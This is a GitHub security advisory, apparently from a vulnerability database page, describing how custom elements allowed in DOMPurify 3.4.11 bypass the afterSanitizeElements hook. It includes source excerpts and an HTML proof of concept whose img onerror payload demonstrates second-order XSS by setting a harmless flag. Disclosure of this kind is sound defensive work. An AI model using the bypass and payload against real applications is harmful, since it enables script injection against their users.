GHSA-C2J3-45GR-MQC4

Vulnerability from github – Published: 2026-07-21 19:41 – Updated: 2026-07-21 19:41
VLAI
Summary
DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses `afterSanitizeElements` for allowed custom elements.
Details

Summary

There is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving CUSTOM_ELEMENT_HANDLING.

When a custom element is allowed via CUSTOM_ELEMENT_HANDLING.tagNameCheck, it appears that the element does not go through afterSanitizeElements in the same way as a normal element. As a result, an application that relies on afterSanitizeElements as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements.

This does not appear to be a direct DOMPurify XSS or a case where DOMPurify directly allows executable payloads. The preserved value is still inert at sanitize time. The issue becomes relevant when the allowed custom element later re-injects that attribute value into an HTML sink such as innerHTML, creating a second-order XSS gadget.

Details

The issue appears to originate from the control flow in src/purify.ts: line 1672~1691

const _sanitizeDisallowedNode = function (
    currentNode: any,
    tagName: string
  ): boolean {
    /* Check if we have a custom element to handle */
    if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
      ) {
        return false;
      }

      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
      ) {
        return false;
      }
    }

CUSTOM_ELEMENT_HANDLING is parsed from user configuration at src/purify.ts: line 741~748

const customElementHandling =
      objectHasOwnProperty(cfg, 'CUSTOM_ELEMENT_HANDLING') &&
      cfg.CUSTOM_ELEMENT_HANDLING &&
      typeof cfg.CUSTOM_ELEMENT_HANDLING === 'object'
        ? clone(cfg.CUSTOM_ELEMENT_HANDLING)
        : create(null);

    CUSTOM_ELEMENT_HANDLING = create(null);

In particular, tagNameCheck, attributeNameCheck, and allowCustomizedBuiltInElements are copied into the internal CUSTOM_ELEMENT_HANDLING object there.

During element sanitization, _sanitizeElements() checks whether a node is forbidden or not allowlisted at src/purify.ts: line 1805~1814

/* Remove element if anything forbids its presence */
    if (
      FORBID_TAGS[tagName] ||
      (!(
        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)
      ) &&
        !ALLOWED_TAGS[tagName])
    ) {
      return _sanitizeDisallowedNode(currentNode, tagName);
    }

If so, it immediately delegates to _sanitizeDisallowedNode(currentNode, tagName) and returns its boolean result.

Inside _sanitizeDisallowedNode(), the custom-element-specific allow path is implemented at src/purify.ts: line 1672~1692

const _sanitizeDisallowedNode = function (
    currentNode: any,
    tagName: string
  ): boolean {
    /* Check if we have a custom element to handle */
    if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
      ) {
        return false;
      }

      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
      ) {
        return false;
      }
    }

If the node is treated as a basic custom element and CUSTOM_ELEMENT_HANDLING.tagNameCheck matches, the function returns false immediately at line 1682 or 1689, meaning “do not remove this node”.

That early return false is significant because control returns directly to _sanitizeElements() via the return _sanitizeDisallowedNode(...) at line 1813. As a result, the later logic in _sanitizeElements() is skipped for that custom element instance, including:

  • the namespace validation at src/purify.ts: line 1816~1826
* Check whether element has a valid namespace.
       Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype
       nodeType getter rather than `instanceof Element`, which is realm-
       bound and short-circuits to false for any node minted in a different
       realm — letting a foreign-realm element with a forbidden namespace
       slip past the namespace check entirely. */
    const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType;
    if (nt === NODE_TYPE.element && !_checkValidNamespace(currentNode)) {
      _forceRemove(currentNode);
      return true;
    }
  • the fallback-tag mXSS check at src/purify.ts: line 1828~1837
/* Make sure that older browsers don't get fallback-tag mXSS */
    if (
      (tagName === 'noscript' ||
        tagName === 'noembed' ||
        tagName === 'noframes') &&
      regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML)
    ) {
      _forceRemove(currentNode);
      return true;
    }
  • most importantly for this report, the afterSanitizeElements hook dispatch at src/purify.ts: line 1850~1851.
   /* Execute a hook if present */
    _executeHooks(hooks.afterSanitizeElements, currentNode, null);

In other words, a normal allowlisted element continues through _sanitizeElements() and reaches hooks.afterSanitizeElements, but a disallowed-by-default element that is revived by the CUSTOM_ELEMENT_HANDLING.tagNameCheck path does not. This creates a policy inconsistency: an application that relies on afterSanitizeElements to remove an attribute from all elements will observe that the policy is applied to normal elements but not to custom elements allowed through CUSTOM_ELEMENT_HANDLING.

In the PoC, the application hook removes data-bio from ordinary elements, but the same attribute remains on <x-bio> because the custom-element keep path bypasses afterSanitizeElements. The attribute itself is inert at sanitize time and DOMPurify is not directly allowing executable SVG/HTML through. The security impact appears when the application-defined custom element later reads the preserved data-bio value in connectedCallback() and writes it to innerHTML, turning the preserved attribute into a second-order XSS gadget.

PoC

Reproduced on DOMPurify 3.4.11.

Steps

  1. Save the following HTML to a file, for example poc.html.
  2. Open it in a browser.
  3. Observe that the div control loses data-bio, while the allowed custom element keeps it.
  4. Observe that after connectedCallback() runs, the candidate payload is reinserted into the DOM and executes through the custom element’s own sink.

HTML PoC

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js"></script>
</head>
<body>
<pre id="result"></pre>

<script>
window.__controlFired = false;
window.__candidateFired = false;

customElements.define("x-bio", class extends HTMLElement {
  connectedCallback() {
    const bio = this.getAttribute("data-bio");
    if (bio) this.innerHTML = bio;
  }
});

DOMPurify.addHook("afterSanitizeElements", node => {
  if (node.hasAttribute && node.hasAttribute("data-bio")) {
    node.removeAttribute("data-bio");
  }
});

const config = {
  CUSTOM_ELEMENT_HANDLING: {
    tagNameCheck: /^x-/
  }
};

const controlInput =
  '<div data-bio="&lt;img src=x onerror=window.__controlFired=true&gt;"></div>';

const candidateInput =
  '<x-bio data-bio="&lt;img src=x onerror=window.__candidateFired=true&gt;"></x-bio>';

const cleanControl = DOMPurify.sanitize(controlInput, config);
const cleanCandidate = DOMPurify.sanitize(candidateInput, config);

const container = document.createElement("div");
container.innerHTML = cleanCandidate;
document.body.appendChild(container);

setTimeout(() => {
  document.getElementById("result").textContent =
    "This is not direct DOMPurify XSS.\n" +
    "The payload becomes executable only after x-bio writes data-bio into innerHTML.\n\n" +
    "control: " + cleanControl + "\n" +
    "candidate: " + cleanCandidate + "\n" +
    "after connectedCallback: " + container.innerHTML + "\n" +
    "control fired: " + window.__controlFired + "\n" +
    "candidate fired: " + window.__candidateFired;
}, 100);
</script>
</body>
</html>

Expected result

control: <div></div>
candidate: <x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio>
after connectedCallback: <x-bio data-bio="..."><img src="x" onerror="window.__candidateFired=true"></x-bio>
control fired: false
candidate fired: true

This is output of HTML PoC.

poc

Impact

This does not appear to affect DOMPurify’s default configuration as a direct sanitizer bypass.

The impact is limited to applications that:

  • enable CUSTOM_ELEMENT_HANDLING,
  • rely on afterSanitizeElements as a security policy layer,
  • expect that hook to apply uniformly to all surviving elements,
  • and have allowed custom elements that later re-inject preserved attribute values into innerHTML or another HTML sink.

In that situation, the behavior can become a second-order XSS gadget because a security-relevant attribute is removed from normal elements but remains on allowed custom elements.

Possible fixes or mitigations might include

  • ensuring that allowed custom elements also consistently pass through afterSanitizeElements
  • documenting clearly that elements preserved via CUSTOM_ELEMENT_HANDLING may not participate in the same post-element hook flow as normal allowlisted elements.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.4.11"
      },
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-693",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T19:41:07Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\nThere is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving `CUSTOM_ELEMENT_HANDLING`.\n\nWhen a custom element is allowed via `CUSTOM_ELEMENT_HANDLING.tagNameCheck`, it appears that the element does not go through `afterSanitizeElements` in the same way as a normal element. As a result, an application that relies on `afterSanitizeElements` as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements.\n\nThis does not appear to be a direct DOMPurify XSS or a case where DOMPurify directly allows executable payloads. The preserved value is still inert at sanitize time. The issue becomes relevant when the allowed custom element later re-injects that attribute value into an HTML sink such as `innerHTML`, creating a second-order XSS gadget.\n\n## Details\n\nThe issue appears to originate from the control flow in `src/purify.ts`: line 1672~1691\n\n```tsx\nconst _sanitizeDisallowedNode = function (\n    currentNode: any,\n    tagName: string\n  ): boolean {\n    /* Check if we have a custom element to handle */\n    if (!FORBID_TAGS[tagName] \u0026\u0026 _isBasicCustomElement(tagName)) {\n      if (\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp \u0026\u0026\n        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)\n      ) {\n        return false;\n      }\n\n      if (\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function \u0026\u0026\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)\n      ) {\n        return false;\n      }\n    }\n```\n\n`CUSTOM_ELEMENT_HANDLING` is parsed from user configuration at `src/purify.ts`: line 741~748\n\n```tsx\nconst customElementHandling =\n      objectHasOwnProperty(cfg, \u0027CUSTOM_ELEMENT_HANDLING\u0027) \u0026\u0026\n      cfg.CUSTOM_ELEMENT_HANDLING \u0026\u0026\n      typeof cfg.CUSTOM_ELEMENT_HANDLING === \u0027object\u0027\n        ? clone(cfg.CUSTOM_ELEMENT_HANDLING)\n        : create(null);\n\n    CUSTOM_ELEMENT_HANDLING = create(null);\n```\n\nIn particular, `tagNameCheck`, `attributeNameCheck`, and `allowCustomizedBuiltInElements` are copied into the internal `CUSTOM_ELEMENT_HANDLING` object there.\n\nDuring element sanitization, `_sanitizeElements()` checks whether a node is forbidden or not allowlisted at `src/purify.ts`: line 1805~1814\n\n```tsx\n/* Remove element if anything forbids its presence */\n    if (\n      FORBID_TAGS[tagName] ||\n      (!(\n        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function \u0026\u0026\n        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)\n      ) \u0026\u0026\n        !ALLOWED_TAGS[tagName])\n    ) {\n      return _sanitizeDisallowedNode(currentNode, tagName);\n    }\n```\n\nIf so, it immediately delegates to `_sanitizeDisallowedNode(currentNode, tagName)` and returns its boolean result.\n\nInside `_sanitizeDisallowedNode()`, the custom-element-specific allow path is implemented at `src/purify.ts`: line 1672~1692\n\n```tsx\nconst _sanitizeDisallowedNode = function (\n    currentNode: any,\n    tagName: string\n  ): boolean {\n    /* Check if we have a custom element to handle */\n    if (!FORBID_TAGS[tagName] \u0026\u0026 _isBasicCustomElement(tagName)) {\n      if (\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp \u0026\u0026\n        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)\n      ) {\n        return false;\n      }\n\n      if (\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function \u0026\u0026\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)\n      ) {\n        return false;\n      }\n    }\n```\n\nIf the node is treated as a basic custom element and `CUSTOM_ELEMENT_HANDLING.tagNameCheck` matches, the function returns `false` immediately at line 1682 or 1689, meaning \u201cdo not remove this node\u201d.\n\nThat early `return false` is significant because control returns directly to `_sanitizeElements()` via the `return _sanitizeDisallowedNode(...)` at line 1813. As a result, the later logic in `_sanitizeElements()` is skipped for that custom element instance, including:\n\n- the namespace validation at `src/purify.ts`: line 1816~1826\n\n```tsx\n* Check whether element has a valid namespace.\n       Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype\n       nodeType getter rather than `instanceof Element`, which is realm-\n       bound and short-circuits to false for any node minted in a different\n       realm \u2014 letting a foreign-realm element with a forbidden namespace\n       slip past the namespace check entirely. */\n    const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType;\n    if (nt === NODE_TYPE.element \u0026\u0026 !_checkValidNamespace(currentNode)) {\n      _forceRemove(currentNode);\n      return true;\n    }\n```\n\n- the fallback-tag mXSS check at `src/purify.ts`: line 1828~1837\n\n```tsx\n/* Make sure that older browsers don\u0027t get fallback-tag mXSS */\n    if (\n      (tagName === \u0027noscript\u0027 ||\n        tagName === \u0027noembed\u0027 ||\n        tagName === \u0027noframes\u0027) \u0026\u0026\n      regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML)\n    ) {\n      _forceRemove(currentNode);\n      return true;\n    }\n```\n\n- most importantly for this report, the `afterSanitizeElements` hook dispatch at `src/purify.ts`: line 1850~1851.\n\n```tsx\n   /* Execute a hook if present */\n    _executeHooks(hooks.afterSanitizeElements, currentNode, null);\n```\n\nIn other words, a normal allowlisted element continues through `_sanitizeElements()` and reaches `hooks.afterSanitizeElements`, but a disallowed-by-default element that is revived by the `CUSTOM_ELEMENT_HANDLING.tagNameCheck` path does not. This creates a policy inconsistency: an application that relies on `afterSanitizeElements` to remove an attribute from all elements will observe that the policy is applied to normal elements but not to custom elements allowed through `CUSTOM_ELEMENT_HANDLING`.\n\nIn the PoC, the application hook removes `data-bio` from ordinary elements, but the same attribute remains on `\u003cx-bio\u003e` because the custom-element keep path bypasses `afterSanitizeElements`. The attribute itself is inert at sanitize time and DOMPurify is not directly allowing executable SVG/HTML through. The security impact appears when the application-defined custom element later reads the preserved `data-bio` value in `connectedCallback()` and writes it to `innerHTML`, turning the preserved attribute into a second-order XSS gadget.\n\n## PoC\n\nReproduced on DOMPurify 3.4.11.\n\n### Steps\n\n1. Save the following HTML to a file, for example `poc.html`.\n2. Open it in a browser.\n3. Observe that the `div` control loses `data-bio`, while the allowed custom element keeps it.\n4. Observe that after `connectedCallback()` runs, the candidate payload is reinserted into the DOM and executes through the custom element\u2019s own sink.\n\n### HTML PoC\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n  \u003cmeta charset=\"UTF-8\"\u003e\n  \u003cscript src=\"https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js\"\u003e\u003c/script\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cpre id=\"result\"\u003e\u003c/pre\u003e\n\n\u003cscript\u003e\nwindow.__controlFired = false;\nwindow.__candidateFired = false;\n\ncustomElements.define(\"x-bio\", class extends HTMLElement {\n  connectedCallback() {\n    const bio = this.getAttribute(\"data-bio\");\n    if (bio) this.innerHTML = bio;\n  }\n});\n\nDOMPurify.addHook(\"afterSanitizeElements\", node =\u003e {\n  if (node.hasAttribute \u0026\u0026 node.hasAttribute(\"data-bio\")) {\n    node.removeAttribute(\"data-bio\");\n  }\n});\n\nconst config = {\n  CUSTOM_ELEMENT_HANDLING: {\n    tagNameCheck: /^x-/\n  }\n};\n\nconst controlInput =\n  \u0027\u003cdiv data-bio=\"\u0026lt;img src=x onerror=window.__controlFired=true\u0026gt;\"\u003e\u003c/div\u003e\u0027;\n\nconst candidateInput =\n  \u0027\u003cx-bio data-bio=\"\u0026lt;img src=x onerror=window.__candidateFired=true\u0026gt;\"\u003e\u003c/x-bio\u003e\u0027;\n\nconst cleanControl = DOMPurify.sanitize(controlInput, config);\nconst cleanCandidate = DOMPurify.sanitize(candidateInput, config);\n\nconst container = document.createElement(\"div\");\ncontainer.innerHTML = cleanCandidate;\ndocument.body.appendChild(container);\n\nsetTimeout(() =\u003e {\n  document.getElementById(\"result\").textContent =\n    \"This is not direct DOMPurify XSS.\\n\" +\n    \"The payload becomes executable only after x-bio writes data-bio into innerHTML.\\n\\n\" +\n    \"control: \" + cleanControl + \"\\n\" +\n    \"candidate: \" + cleanCandidate + \"\\n\" +\n    \"after connectedCallback: \" + container.innerHTML + \"\\n\" +\n    \"control fired: \" + window.__controlFired + \"\\n\" +\n    \"candidate fired: \" + window.__candidateFired;\n}, 100);\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Expected result\n\n```\ncontrol: \u003cdiv\u003e\u003c/div\u003e\ncandidate: \u003cx-bio data-bio=\"\u003cimg src=x onerror=window.__candidateFired=true\u003e\"\u003e\u003c/x-bio\u003e\nafter connectedCallback: \u003cx-bio data-bio=\"...\"\u003e\u003cimg src=\"x\" onerror=\"window.__candidateFired=true\"\u003e\u003c/x-bio\u003e\ncontrol fired: false\ncandidate fired: true\n```\n\nThis is output of HTML PoC.\n\n\u003cimg width=\"1917\" height=\"961\" alt=\"poc\" src=\"https://github.com/user-attachments/assets/80e22989-5779-42f8-8ffb-106e9a4c2b10\" /\u003e\n\n\n## Impact\n\nThis does not appear to affect DOMPurify\u2019s default configuration as a direct sanitizer bypass.\n\nThe impact is limited to applications that:\n\n- enable `CUSTOM_ELEMENT_HANDLING`,\n- rely on `afterSanitizeElements` as a security policy layer,\n- expect that hook to apply uniformly to all surviving elements,\n- and have allowed custom elements that later re-inject preserved attribute values into `innerHTML` or another HTML sink.\n\nIn that situation, the behavior can become a second-order XSS gadget because a security-relevant attribute is removed from normal elements but remains on allowed custom elements.\n\nPossible fixes or mitigations might include\n\n- ensuring that allowed custom elements also consistently pass through `afterSanitizeElements`\n- documenting clearly that elements preserved via `CUSTOM_ELEMENT_HANDLING` may not participate in the same post-element hook flow as normal allowlisted elements.",
  "id": "GHSA-c2j3-45gr-mqc4",
  "modified": "2026-07-21T19:41:07Z",
  "published": "2026-07-21T19:41:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-c2j3-45gr-mqc4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/pull/1537"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/commit/a9ca1e537422319a557a9a2aa61f003b23b4a197"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses `afterSanitizeElements` for allowed custom elements."
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…